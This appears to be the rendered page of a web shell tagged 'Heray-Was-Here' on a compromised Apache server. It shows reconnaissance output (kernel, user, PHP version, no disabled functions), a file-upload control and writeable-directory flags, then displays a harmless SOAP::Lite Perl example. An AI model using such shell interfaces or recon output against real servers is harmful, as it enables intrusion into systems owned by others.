Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-SOAP-Lite/examples/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-SOAP-Lite/examples/server/soap.mod_cgi
#!perl -w
#!d:\perl\bin\perl.exe

# -- SOAP::Lite -- soaplite.com -- Copyright (C) 2001 Paul Kulchenko --

# you'd better don't try to use dynamic deployment with Apache::Registry
# because it won't work anyway, however you can specify path to your
# modules either in dispatch_to or in 'use lib qw(path_to_modules)'

use SOAP::Transport::HTTP;

SOAP::Transport::HTTP::CGI
  -> objects_by_reference(qw(My::PersistentIterator My::SessionIterator My::Chat))
  -> dispatch_to('/Your/Path/To/Deployed/Modules',
                 qw(My::PersistentIterator My::SessionIterator My::Chat
                    My::Examples My::Parameters My::PingPong))
  # enable compression support
  -> options({compress_threshold => 10000})
  -> handle
;

Hry